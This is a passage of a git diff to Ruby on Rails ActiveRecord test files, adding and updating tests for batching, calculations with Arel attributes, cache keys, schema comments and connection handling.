raise StandardError.new("not_a_post had #id called on it") + end + + assert_nothing_raised do + Post.in_batches(of: 1) do |relation| + assert_kind_of ActiveRecord::Relation, relation + assert_kind_of Post, relation.first + + relation = [not_a_post] * relation.count + end + end + end + + def test_in_batches_should_not_ignore_default_scope_without_order_statements + special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort + posts = [] + SpecialPostWithDefaultScope.in_batches do |relation| + posts.concat(relation) + end + assert_equal special_posts_ids, posts.map(&:id) + end + + def test_in_batches_should_not_modify_passed_options + assert_nothing_raised do + Post.in_batches({ of: 42, start: 1 }.freeze){} + end + end + + def test_in_batches_should_use_any_column_as_primary_key + nick_order_subscribers = Subscriber.order('nick asc') + start_nick = nick_order_subscribers.second.nick + + subscribers = [] + Subscriber.in_batches(of: 1, start: start_nick) do |relation| + subscribers.concat(relation) + end + + assert_equal nick_order_subscribers[1..-1].map(&:id), subscribers.map(&:id) + end + + def test_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified + assert_queries(Subscriber.count + 1) do + Subscriber.in_batches(of: 1, load: true) do |relation| + assert_kind_of ActiveRecord::Relation, relation + assert_kind_of Subscriber, relation.first + end + end + end + + def test_in_batches_should_return_an_enumerator + enum = nil + assert_no_queries do + enum = Post.in_batches(of: 1) + end + assert_queries(4) do + enum.first(4) do |relation| + assert_kind_of ActiveRecord::Relation, relation + assert_kind_of Post, relation.first + end + end + end + + def test_in_batches_relations_should_not_overlap_with_each_other + seen_posts = [] + Post.in_batches(of: 2, load: true) do |relation| + relation.to_a.each do |post| + assert_not seen_posts.include?(post) + seen_posts << post + end + end + end + + def test_in_batches_relations_with_condition_should_not_overlap_with_each_other + seen_posts = [] + author_id = Post.first.author_id + posts_by_author = Post.where(author_id: author_id) + Post.in_batches(of: 2) do |batch| + seen_posts += batch.where(author_id: author_id) + end + + assert_equal posts_by_author.pluck(:id).sort, seen_posts.map(&:id).sort + end + + def test_in_batches_relations_update_all_should_not_affect_matching_records_in_other_batches + Post.update_all(author_id: 0) + person = Post.last + person.update_attributes(author_id: 1) + + Post.in_batches(of: 2) do |batch| + batch.where('author_id >= 1').update_all('author_id = author_id + 1') + end + assert_equal 2, person.reload.author_id # incremented only once + end + if Enumerator.method_defined? :size def test_find_in_batches_should_return_a_sized_enumerator assert_equal 11, Post.find_in_batches(:batch_size => 1).size assert_equal 6, Post.find_in_batches(:batch_size => 2).size - assert_equal 4, Post.find_in_batches(batch_size: 2, begin_at: 4).size + assert_equal 4, Post.find_in_batches(batch_size: 2, start: 4).size assert_equal 4, Post.find_in_batches(:batch_size => 3).size assert_equal 1, Post.find_in_batches(:batch_size => 10_000).size end diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb index 86dee929bf..9eb5352150 100644 --- a/activerecord/test/cases/binary_test.rb +++ b/activerecord/test/cases/binary_test.rb @@ -20,10 +20,6 @@ unless current_adapter?(:DB2Adapter) name = binary.name - # MySQL adapter doesn't properly encode things, so we have to do it - if current_adapter?(:MysqlAdapter) - name.force_encoding(Encoding::UTF_8) - end assert_equal 'ã„ãŸã ãã¾ã™ï¼', name end diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb index 1e38b97c4a..fa924fe4cb 100644 --- a/activerecord/test/cases/bind_parameter_test.rb +++ b/activerecord/test/cases/bind_parameter_test.rb @@ -31,7 +31,8 @@ module ActiveRecord ActiveSupport::Notifications.unsubscribe(@subscription) end - if ActiveRecord::Base.connection.supports_statement_cache? + if ActiveRecord::Base.connection.supports_statement_cache? && + ActiveRecord::Base.connection.prepared_statements def test_bind_from_join_in_subquery subquery = Author.joins(:thinking_posts).where(name: 'David') scope = Author.from(subquery, 'authors').where(id: 1) @@ -39,7 +40,7 @@ module ActiveRecord end def test_binds_are_logged - sub = @connection.substitute_at(@pk) + sub = Arel::Nodes::BindParam.new binds = [Relation::QueryAttribute.new("id", 1, Type::Value.new)] sql = "select * from topics where id = #{sub.to_sql}" diff --git a/activerecord/test/cases/cache_key_test.rb b/activerecord/test/cases/cache_key_test.rb new file mode 100644 index 0000000000..bb2829b3c1 --- /dev/null +++ b/activerecord/test/cases/cache_key_test.rb @@ -0,0 +1,25 @@ +require "cases/helper" + +module ActiveRecord + class CacheKeyTest < ActiveRecord::TestCase + self.use_transactional_tests = false + + class CacheMe < ActiveRecord::Base; end + + setup do + @connection = ActiveRecord::Base.connection + @connection.create_table(:cache_mes) { |t| t.timestamps } + end + + teardown do + @connection.drop_table :cache_mes, if_exists: true + end + + test "test_cache_key_format_is_not_too_precise" do + record = CacheMe.create + key = record.cache_key + + assert_equal key, record.reload.cache_key + end + end +end diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb index f0393aa6b1..cfae700159 100644 --- a/activerecord/test/cases/calculations_test.rb +++ b/activerecord/test/cases/calculations_test.rb @@ -11,6 +11,10 @@ require 'models/minivan' require 'models/speedometer' require 'models/ship_part' require 'models/treasure' +require 'models/developer' +require 'models/comment' +require 'models/rating' +require 'models/post' class NumericData < ActiveRecord::Base self.table_name = 'numeric_data' @@ -27,11 +31,20 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 318, Account.sum(:credit_limit) end + def test_should_sum_arel_attribute + assert_equal 318, Account.sum(Account.arel_table[:credit_limit]) + end + def test_should_average_field value = Account.average(:credit_limit) assert_equal 53.0, value end + def test_should_average_arel_attribute + value = Account.average(Account.arel_table[:credit_limit]) + assert_equal 53.0, value + end + def test_should_resolve_aliased_attributes assert_equal 318, Account.sum(:available_credit) end @@ -56,14 +69,26 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 60, Account.maximum(:credit_limit) end + def test_should_get_maximum_of_arel_attribute + assert_equal 60, Account.maximum(Account.arel_table[:credit_limit]) + end + def test_should_get_maximum_of_field_with_include assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(:credit_limit) end + def test_should_get_maximum_of_arel_attribute_with_include + assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(Account.arel_table[:credit_limit]) + end + def test_should_get_minimum_of_field assert_equal 50, Account.minimum(:credit_limit) end + def test_should_get_minimum_of_arel_attribute + assert_equal 50, Account.minimum(Account.arel_table[:credit_limit]) + end + def test_should_group_by_field c = Account.group(:firm_id).sum(:credit_limit) [1,6,2].each do |firm_id| @@ -98,6 +123,25 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 60, c[2] end + def test_should_generate_valid_sql_with_joins_and_group + assert_nothing_raised do + AuditLog.joins(:developer).group(:id).count + end + end + + def test_should_calculate_against_given_relation + developer = Developer.create!(name: "developer") + developer.audit_logs.create!(message: "first log") + developer.audit_logs.create!(message: "second log") + + c = developer.audit_logs.joins(:developer).group(:id).count + + assert_equal developer.audit_logs.count, c.size + developer.audit_logs.each do |log| + assert_equal 1, c[log.id] + end + end + def test_should_order_by_grouped_field c = Account.group(:firm_id).order("firm_id").sum(:credit_limit) assert_equal [1, 2, 6, 9], c.keys.compact @@ -127,6 +171,14 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 3, accounts.select(:firm_id).count end + def test_limit_should_apply_before_count_arel_attribute + accounts = Account.limit(3).where('firm_id IS NOT NULL') + + firm_id_attribute = Account.arel_table[:firm_id] + assert_equal 3, accounts.count(firm_id_attribute) + assert_equal 3, accounts.select(firm_id_attribute).count + end + def test_count_should_shortcut_with_limit_zero accounts = Account.limit(0) @@ -349,13 +401,29 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 6, Account.select("DISTINCT accounts.id").includes(:firm).count end + def test_count_selected_arel_attribute + assert_equal 5, Account.select(Account.arel_table[:firm_id]).count + assert_equal 4, Account.distinct.select(Account.arel_table[:firm_id]).count + end + def test_count_with_column_parameter assert_equal 5, Account.count(:firm_id) end + def test_count_with_arel_attribute + assert_equal 5, Account.count(Account.arel_table[:firm_id]) + end + + def test_count_with_arel_star + assert_equal 6, Account.count(Arel.star) + end + def test_count_with_distinct assert_equal 4, Account.select(:credit_limit).distinct.count - assert_equal 4, Account.select(:credit_limit).uniq.count + + assert_deprecated do + assert_equal 4, Account.select(:credit_limit).uniq.count + end end def test_count_with_aliased_attribute @@ -371,12 +439,27 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 4, Account.joins(:firm).distinct.count('companies.id') end + def test_count_arel_attribute_in_joined_table_with + assert_equal 5, Account.joins(:firm).count(Company.arel_table[:id]) + assert_equal 4, Account.joins(:firm).distinct.count(Company.arel_table[:id]) + end + + def test_count_selected_arel_attribute_in_joined_table + assert_equal 5, Account.joins(:firm).select(Company.arel_table[:id]).count + assert_equal 4, Account.joins(:firm).distinct.select(Company.arel_table[:id]).count + end + def test_should_count_field_in_joined_table_with_group_by c = Account.group('accounts.firm_id').joins(:firm).count('companies.id') [1,6,2,9].each { |firm_id| assert c.keys.include?(firm_id) } end + def test_should_count_field_of_root_table_with_conflicting_group_by_column + assert_equal({ 1 => 1 }, Firm.joins(:accounts).group(:firm_id).count) + assert_equal({ 1 => 1 }, Firm.joins(:accounts).group('accounts.firm_id').count) + end + def test_count_with_no_parameters_isnt_deprecated assert_not_deprecated { Account.count } end @@ -399,6 +482,10 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).reverse_order.count end + def test_count_with_block + assert_equal 4, Account.count { |account| account.credit_limit.modulo(10).zero? } + end + def test_should_sum_expression # Oracle adapter returns floating point value 636.0 after SUM if current_adapter?(:OracleAdapter) @@ -462,8 +549,8 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal 7, Company.includes(:contracts).sum(:developer_id) end - def test_from_option_with_specified_index - if Edge.connection.adapter_name == 'MySQL' or Edge.connection.adapter_name == 'Mysql2' + if current_adapter?(:Mysql2Adapter) + def test_from_option_with_specified_index assert_equal Edge.count(:all), Edge.from('edges USE INDEX(unique_edge_index)').count(:all) assert_equal Edge.where('sink_id < 5').count(:all), Edge.from('edges USE INDEX(unique_edge_index)').where('sink_id < 5').count(:all) @@ -500,8 +587,8 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal [ topic.written_on ], relation.pluck(:written_on) end - def test_pluck_and_uniq - assert_equal [50, 53, 55, 60], Account.order(:credit_limit).uniq.pluck(:credit_limit) + def test_pluck_and_distinct + assert_equal [50, 53, 55, 60], Account.order(:credit_limit).distinct.pluck(:credit_limit) end def test_pluck_in_relation @@ -625,6 +712,27 @@ class CalculationsTest < ActiveRecord::TestCase assert_equal [part.id], ShipPart.joins(:trinkets).pluck(:id) end + def test_pluck_loaded_relation + companies = Company.order(:id).limit(3).load + assert_no_queries do + assert_equal ['37signals', 'Summit', 'Microsoft'], companies.pluck(:name) + end + end + + def test_pluck_loaded_relation_multiple_columns + companies = Company.order(:id).limit(3).load + assert_no_queries do + assert_equal [[1, '37signals'], [2, 'Summit'], [3, 'Microsoft']], companies.pluck(:id, :name) + end + end + + def test_pluck_loaded_relation_sql_fragment + companies = Company.order(:name).limit(3).load + assert_queries 1 do + assert_equal ['37signals', 'Apex', 'Ex Nihilo'], companies.pluck('DISTINCT name') + end + end + def test_grouped_calculation_with_polymorphic_relation part = ShipPart.create!(name: "has trinket") part.trinkets.create! @@ -636,4 +744,53 @@ class CalculationsTest < ActiveRecord::TestCase Client.update_all(client_of: nil) assert_equal({ nil => Client.count }, Client.group(:firm).count) end + + def test_should_reference_correct_aliases_while_joining_tables_of_has_many_through_association + assert_nothing_raised do + developer = Developer.create!(name: 'developer') + developer.ratings.includes(comment: :post).where(posts: { id: 1 }).count + end + end + + def test_sum_uses_enumerable_version_when_block_is_given + block_called = false + relation = Client.all.load + + assert_no_queries do + assert_equal 0, relation.sum { block_called = true; 0 } + end + assert block_called + end + + def test_having_with_strong_parameters + protected_params = Class.new do + attr_reader :permitted + alias :permitted? :permitted + + def initialize(parameters) + @parameters = parameters + @permitted = false + end + + def to_h + @parameters + end + + def permit! + @permitted = true + self + end + end + + params = protected_params.new(credit_limit: '50') + + assert_raises(ActiveModel::ForbiddenAttributesError) do + Account.group(:id).having(params) + end + + result = Account.group(:id).having(params.permit!) + assert_equal 50, result[0].credit_limit + assert_equal 50, result[1].credit_limit + assert_equal 50, result[2].credit_limit + end end diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb index 3ae4a6eade..4f70ae3a1d 100644 --- a/activerecord/test/cases/callbacks_test.rb +++ b/activerecord/test/cases/callbacks_test.rb @@ -33,7 +33,7 @@ class CallbackDeveloper < ActiveRecord::Base ActiveRecord::Callbacks::CALLBACKS.each do |callback_method| next if callback_method.to_s =~ /^around_/ define_callback_method(callback_method) - send(callback_method, callback_string(callback_method)) + ActiveSupport::Deprecation.silence { send(callback_method, callback_string(callback_method)) } send(callback_method, callback_proc(callback_method)) send(callback_method, callback_object(callback_method)) send(callback_method) { |model| model.history << [callback_method, :block] } @@ -451,6 +451,7 @@ class CallbacksTest < ActiveRecord::TestCase assert !david.save exc = assert_raise(ActiveRecord::RecordNotSaved) { david.save! } assert_equal exc.record, david + assert_equal "Failed to save the record", exc.message end david = ImmutableDeveloper.find(1) @@ -494,6 +495,7 @@ class CallbacksTest < ActiveRecord::TestCase assert !david.destroy exc = assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! } assert_equal exc.record, david + assert_equal "Failed to destroy the record", exc.message end assert_not_nil ImmutableDeveloper.find_by_id(1) diff --git a/activerecord/test/cases/coders/json_test.rb b/activerecord/test/cases/coders/json_test.rb new file mode 100644 index 0000000000..d22d93d129 --- /dev/null +++ b/activerecord/test/cases/coders/json_test.rb @@ -0,0 +1,15 @@ +require "cases/helper" + +module ActiveRecord + module Coders + class JSONTest < ActiveRecord::TestCase + def test_returns_nil_if_empty_string_given + assert_nil JSON.load("") + end + + def test_returns_nil_if_nil_given + assert_nil JSON.load(nil) + end + end + end +end diff --git a/activerecord/test/cases/collection_cache_key_test.rb b/activerecord/test/cases/collection_cache_key_test.rb new file mode 100644 index 0000000000..a2874438c1 --- /dev/null +++ b/activerecord/test/cases/collection_cache_key_test.rb @@ -0,0 +1,89 @@ +require "cases/helper" +require "models/computer" +require "models/developer" +require "models/project" +require "models/topic" +require "models/post" +require "models/comment" + +module ActiveRecord + class CollectionCacheKeyTest < ActiveRecord::TestCase + fixtures :developers, :projects, :developers_projects, :topics, :comments, :posts + + test "collection_cache_key on model" do + assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, Developer.collection_cache_key) + end + + test "cache_key for relation" do + developers = Developer.where(name: "David") + last_developer_timestamp = developers.order(updated_at: :desc).first.updated_at + + assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, developers.cache_key) + + /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/ =~ developers.cache_key + + assert_equal Digest::MD5.hexdigest(developers.to_sql), $1 + assert_equal developers.count.to_s, $2 + assert_equal last_developer_timestamp.to_s(ActiveRecord::Base.cache_timestamp_format), $3 + end + + test "it triggers at most one query" do + developers = Developer.where(name: "David") + + assert_queries(1) { developers.cache_key } + assert_queries(0) { developers.cache_key } + end + + test "it doesn't trigger any query if the relation is already loaded" do + developers = Developer.where(name: "David").load + assert_queries(0) { developers.cache_key } + end + + test "relation cache_key changes when the sql query changes" do + developers = Developer.where(name: "David") + other_relation = Developer.where(name: "David").where("1 = 1") + + assert_not_equal developers.cache_key, other_relation.cache_key + end + + test "cache_key for empty relation" do + developers = Developer.where(name: "Non Existent Developer") + assert_match(/\Adevelopers\/query-(\h+)-0\Z/, developers.cache_key) + end + + test "cache_key with custom timestamp column" do + topics = Topic.where("title like ?", "%Topic%") + last_topic_timestamp = topics(:fifth).written_on.utc.to_s(:usec) + assert_match(last_topic_timestamp, topics.cache_key(:written_on)) + end + + test "cache_key with unknown timestamp column" do + topics = Topic.where("title like ?", "%Topic%") + assert_raises(ActiveRecord::StatementInvalid) { topics.cache_key(:published_at) } + end + + test "collection proxy provides a cache_key" do + developers = projects(:active_record).developers + assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, developers.cache_key) + end + + test "cache_key for loaded collection with zero size" do + Comment.delete_all + posts = Post.includes(:comments) + empty_loaded_collection = posts.first.comments + + assert_match(/\Acomments\/query-(\h+)-0\Z/, empty_loaded_collection.cache_key) + end + + test "cache_key for queries with offset which return 0 rows" do + developers = Developer.offset(20) + assert_match(/\Adevelopers\/query-(\h+)-0\Z/, developers.cache_key) + end + + test "cache_key with a relation having selected columns" do + developers = Developer.select(:salary) + + assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\Z/, developers.cache_key) + end + end +end diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb index 14b95ecab1..81162b7e98 100644 --- a/activerecord/test/cases/column_definition_test.rb +++ b/activerecord/test/cases/column_definition_test.rb @@ -38,42 +38,52 @@ module ActiveRecord assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, @viz.accept(column_def) end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) def test_should_set_default_for_mysql_binary_data_types type = SqlTypeMetadata.new(type: :binary, sql_type: "binary(1)") - binary_column = AbstractMysqlAdapter::Column.new("title", "a", type) + binary_column = MySQL::Column.new("title", "a", type) assert_equal "a", binary_column.default type = SqlTypeMetadata.new(type: :binary, sql_type: "varbinary") - varbinary_column = AbstractMysqlAdapter::Column.new("title", "a", type) + varbinary_column = MySQL::Column.new("title", "a", type) assert_equal "a", varbinary_column.default end + def test_should_be_empty_string_default_for_mysql_binary_data_types + type = SqlTypeMetadata.new(type: :binary, sql_type: "binary(1)") + binary_column = MySQL::Column.new("title", "", type, false) + assert_equal "", binary_column.default + + type = SqlTypeMetadata.new(type: :binary, sql_type: "varbinary") + varbinary_column = MySQL::Column.new("title", "", type, false) + assert_equal "", varbinary_column.default + end + def test_should_not_set_default_for_blob_and_text_data_types assert_raise ArgumentError do - AbstractMysqlAdapter::Column.new("title", "a", SqlTypeMetadata.new(sql_type: "blob")) + MySQL::Column.new("title", "a", SqlTypeMetadata.new(sql_type: "blob")) end - text_type = AbstractMysqlAdapter::MysqlTypeMetadata.new( + text_type = MySQL::TypeMetadata.new( SqlTypeMetadata.new(type: :text)) assert_raise ArgumentError do - AbstractMysqlAdapter::Column.new("title", "Hello", text_type) + MySQL::Column.new("title", "Hello", text_type) end - text_column = AbstractMysqlAdapter::Column.new("title", nil, text_type) + text_column = MySQL::Column.new("title", nil, text_type) assert_equal nil, text_column.default - not_null_text_column = AbstractMysqlAdapter::Column.new("title", nil, text_type, false) + not_null_text_column = MySQL::Column.new("title", nil, text_type, false) assert_equal "", not_null_text_column.default end def test_has_default_should_return_false_for_blob_and_text_data_types binary_type = SqlTypeMetadata.new(sql_type: "blob") - blob_column = AbstractMysqlAdapter::Column.new("title", nil, binary_type) + blob_column = MySQL::Column.new("title", nil, binary_type) assert !blob_column.has_default? text_type = SqlTypeMetadata.new(type: :text) - text_column = AbstractMysqlAdapter::Column.new("title", nil, text_type) + text_column = MySQL::Column.new("title", nil, text_type) assert !text_column.has_default? end end diff --git a/activerecord/test/cases/comment_test.rb b/activerecord/test/cases/comment_test.rb new file mode 100644 index 0000000000..839fdbe578 --- /dev/null +++ b/activerecord/test/cases/comment_test.rb @@ -0,0 +1,139 @@ +require 'cases/helper' +require 'support/schema_dumping_helper' + +if ActiveRecord::Base.connection.supports_comments? + +class CommentTest < ActiveRecord::TestCase + include SchemaDumpingHelper + + class Commented < ActiveRecord::Base + self.table_name = 'commenteds' + end + + class BlankComment < ActiveRecord::Base + end + + setup do + @connection = ActiveRecord::Base.connection + + @connection.create_table('commenteds', comment: 'A table with comment', force: true) do |t| + t.string 'name', comment: 'Comment should help clarify the column purpose' + t.boolean 'obvious', comment: 'Question is: should you comment obviously named objects?' + t.string 'content' + t.index 'name', comment: %Q["Very important" index that powers all the performance.\nAnd it's fun!] + end + + @connection.create_table('blank_comments', comment: ' ', force: true) do |t| + t.string :space_comment, comment: ' ' + t.string :empty_comment, comment: '' + t.string :nil_comment, comment: nil + t.string :absent_comment + t.index :space_comment, comment: ' ' + t.index :empty_comment, comment: '' + t.index :nil_comment, comment: nil + t.index :absent_comment + end + + Commented.reset_column_information + BlankComment.reset_column_information + end + + teardown do + @connection.drop_table 'commenteds', if_exists: true + @connection.drop_table 'blank_comments', if_exists: true + end + + def test_column_created_in_block + column = Commented.columns_hash['name'] + assert_equal :string, column.type + assert_equal 'Comment should help clarify the column purpose', column.comment + end + + def test_blank_columns_created_in_block + %w[ space_comment empty_comment nil_comment absent_comment ].each do |field| + column = BlankComment.columns_hash[field] + assert_equal :string, column.type + assert_nil column.comment + end + end + + def test_blank_indexes_created_in_block + @connection.indexes('blank_comments').each do |index| + assert_nil index.comment + end + end + + def test_add_column_with_comment_later + @connection.add_column :commenteds, :rating, :integer, comment: 'I am running out of imagination' + Commented.reset_column_information + column = Commented.columns_hash['rating'] + + assert_equal :integer, column.type + assert_equal 'I am running out of imagination', column.comment + end + + def test_add_index_with_comment_later + @connection.add_index :commenteds, :obvious, name: 'idx_obvious', comment: 'We need to see obvious comments' + index = @connection.indexes('commenteds').find { |idef| idef.name == 'idx_obvious' } + assert_equal 'We need to see obvious comments', index.comment + end + + def test_add_comment_to_column + @connection.change_column :commenteds, :content, :string, comment: 'Whoa, content describes itself!' + + Commented.reset_column_information + column = Commented.columns_hash['content'] + + assert_equal :string, column.type + assert_equal 'Whoa, content describes itself!', column.comment + end + + def test_remove_comment_from_column + @connection.change_column :commenteds, :obvious, :string, comment: nil + + Commented.reset_column_information + column = Commented.columns_hash['obvious'] + + assert_equal :string, column.type + assert_nil column.comment + end + + def test_schema_dump_with_comments + # Do all the stuff from other tests + @connection.add_column :commenteds, :rating, :integer, comment: 'I am running out of imagination' + @connection.change_column :commenteds, :content, :string, comment: 'Whoa, content describes itself!' + @connection.change_column :commenteds, :obvious, :string, comment: nil + @connection.add_index :commenteds, :obvious, name: 'idx_obvious', comment: 'We need to see obvious comments' + + # And check that these changes are reflected in dump + output = dump_table_schema 'commenteds' + assert_match %r[create_table "commenteds",.+\s+comment: "A table with comment"], output + assert_match %r[t\.string\s+"name",\s+comment: "Comment should help clarify the column purpose"], output + assert_match %r[t\.string\s+"obvious"\n], output + assert_match %r[t\.string\s+"content",\s+comment: "Whoa, content describes itself!"], output + assert_match %r[t\.integer\s+"rating",\s+comment: "I am running out of imagination"], output + assert_match %r[t\.index\s+.+\s+comment: "\\\"Very important\\\" index that powers all the performance.\\nAnd it's fun!"], output + assert_match %r[t\.index\s+.+\s+name: "idx_obvious",.+\s+comment: "We need to see obvious comments"], output + end + + def test_schema_dump_omits_blank_comments + output = dump_table_schema 'blank_comments' + + assert_match %r[create_table "blank_comments"], output + assert_no_match %r[create_table "blank_comments",.+comment:], output + + assert_match %r[t\.string\s+"space_comment"\n], output + assert_no_match %r[t\.string\s+"space_comment", comment:\n], output + + assert_match %r[t\.string\s+"empty_comment"\n], output + assert_no_match %r[t\.string\s+"empty_comment", comment:\n], output + + assert_match %r[t\.string\s+"nil_comment"\n], output + assert_no_match %r[t\.string\s+"nil_comment", comment:\n], output + + assert_match %r[t\.string\s+"absent_comment"\n], output + assert_no_match %r[t\.string\s+"absent_comment", comment:\n], output + end +end + +end diff --git a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb index 662e19f35e..c7ca428ab7 100644 --- a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb +++ b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb @@ -6,7 +6,7 @@ module ActiveRecord class Pool < ConnectionPool def insert_connection_for_test!(c) synchronize do - @connections << c + adopt_connection(c) @available.add c end end @@ -24,7 +24,9 @@ module ActiveRecord def test_lease_twice assert @adapter.lease, 'should lease adapter' - assert_not @adapter.lease, 'should not lease adapter' + assert_raises(ActiveRecordError) do + @adapter.lease + end end def test_expire_mutates_in_use @@ -35,7 +37,7 @@ module ActiveRecord end def test_close - pool = Pool.new(ConnectionSpecification.new({}, nil)) + pool = Pool.new(ConnectionSpecification.new("primary", {}, nil)) pool.insert_connection_for_test! @adapter @adapter.pool = pool diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb index b72f8ca88c..50f942f5aa 100644 --- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb +++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb @@ -4,47 +4,121 @@ module ActiveRecord module ConnectionAdapters class ConnectionHandlerTest < ActiveRecord::TestCase def setup - @klass = Class.new(Base) { def self.name; 'klass'; end } - @subklass = Class.new(@klass) { def self.name; 'subklass'; end } - @handler = ConnectionHandler.new - @pool = @handler.establish_connection(@klass, Base.connection_pool.spec) + resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new Base.configurations + @spec_name = "primary" + @pool = @handler.establish_connection(resolver.spec(:arunit, @spec_name)) + end + + def test_establish_connection_uses_spec_name + config = {"readonly" => {"adapter" => 'sqlite3'}} + resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new(config) + spec = resolver.spec(:readonly) + @handler.establish_connection(spec) + + assert_not_nil @handler.retrieve_connection_pool('readonly') + ensure + @handler.remove_connection('readonly') end def test_retrieve_connection - assert @handler.retrieve_connection(@klass) + assert @handler.retrieve_connection(@spec_name) end def test_active_connections? assert !@handler.active_connections? - assert @handler.retrieve_connection(@klass) + assert @handler.retrieve_connection(@spec_name) assert @handler.active_connections? @handler.clear_active_connections! assert !@handler.active_connections? end - def test_retrieve_connection_pool_with_ar_base - assert_nil @handler.retrieve_connection_pool(ActiveRecord::Base) + def test_retrieve_connection_pool + assert_not_nil @handler.retrieve_connection_pool(@spec_name) end - def test_retrieve_connection_pool - assert_not_nil @handler.retrieve_connection_pool(@klass) + def test_retrieve_connection_pool_with_invalid_id + assert_nil @handler.retrieve_connection_pool("foo") end - def test_retrieve_connection_pool_uses_superclass_when_no_subclass_connection - assert_not_nil @handler.retrieve_connection_pool(@subklass) + def test_connection_pools + assert_equal([@pool], @handler.connection_pools) end - def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove - sub_pool = @handler.establish_connection(@subklass, Base.connection_pool.spec) - assert_same sub_pool, @handler.retrieve_connection_pool(@subklass) + if Process.respond_to?(:fork) + def test_connection_pool_per_pid + object_id = ActiveRecord::Base.connection.object_id - @handler.remove_connection @subklass - assert_same @pool, @handler.retrieve_connection_pool(@subklass) - end + rd, wr = IO.pipe + rd.binmode + wr.binmode - def test_connection_pools - assert_equal([@pool], @handler.connection_pools) + pid = fork { + rd.close + wr.write Marshal.dump ActiveRecord::Base.connection.object_id + wr.close + exit! + } + + wr.close + + Process.waitpid pid + assert_not_equal object_id, Marshal.load(rd.read) + rd.close + end + + def test_retrieve_connection_pool_copies_schema_cache_from_ancestor_pool + @pool.schema_cache = @pool.connection.schema_cache + @pool.schema_cache.add('posts') + + rd, wr = IO.pipe + rd.binmode + wr.binmode + + pid = fork { + rd.close + pool = @handler.retrieve_connection_pool(@spec_name) + wr.write Marshal.dump pool.schema_cache.size + wr.close + exit! + } + + wr.close + + Process.waitpid pid + assert_equal @pool.schema_cache.size, Marshal.load(rd.read) + rd.close + end + + def test_a_class_using_custom_pool_and_switching_back_to_primary + klass2 = Class.new(Base) { def self.name; 'klass2'; end } + + assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id + + pool = klass2.establish_connection(ActiveRecord::Base.connection_pool.spec.config) + assert_equal klass2.connection.object_id, pool.connection.object_id + refute_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id + + klass2.remove_connection + + assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id + end + + def test_connection_specification_name_should_fallback_to_parent + klassA = Class.new(Base) + klassB = Class.new(klassA) + + assert_equal klassB.connection_specification_name, klassA.connection_specification_name + klassA.connection_specification_name = "readonly" + assert_equal "readonly", klassB.connection_specification_name + end + + def test_remove_connection_should_not_remove_parent + klass2 = Class.new(Base) { def self.name; 'klass2'; end } + klass2.remove_connection + refute_nil ActiveRecord::Base.connection.object_id + assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id + end end end end diff --git a/activerecord/test/cases/connection_adapters/connection_specification_test.rb b/activerecord/test/cases/connection_adapters/connection_specification_test.rb index ea2196cda2..d204fce59f 100644 --- a/activerecord/test/cases/connection_adapters/connection_specification_test.rb +++ b/activerecord/test/cases/connection_adapters/connection_specification_test.rb @@ -4,7 +4,7 @@ module ActiveRecord module ConnectionAdapters class ConnectionSpecificationTest < ActiveRecord::TestCase def test_dup_deep_copy_config - spec = ConnectionSpecification.new({ :a => :b }, "bar") + spec = ConnectionSpecification.new("primary", { :a => :b }, "bar") assert_not_equal(spec.config.object_id, spec.dup.config.object_id) end end diff --git a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb index 80244d1439..f2b1d9e4e7 100644 --- a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb +++ b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb @@ -1,6 +1,6 @@ require "cases/helper" -if current_adapter?(:MysqlAdapter, :Mysql2Adapter) +if current_adapter?(:Mysql2Adapter) module ActiveRecord module ConnectionAdapters class MysqlTypeLookupTest < ActiveRecord::TestCase @@ -22,6 +22,10 @@ module ActiveRecord assert_lookup_type :string, "SET('one', 'two', 'three')" end + def test_set_type_with_value_matching_other_type + assert_lookup_type :string, "SET('unicode', '8bit', 'none', 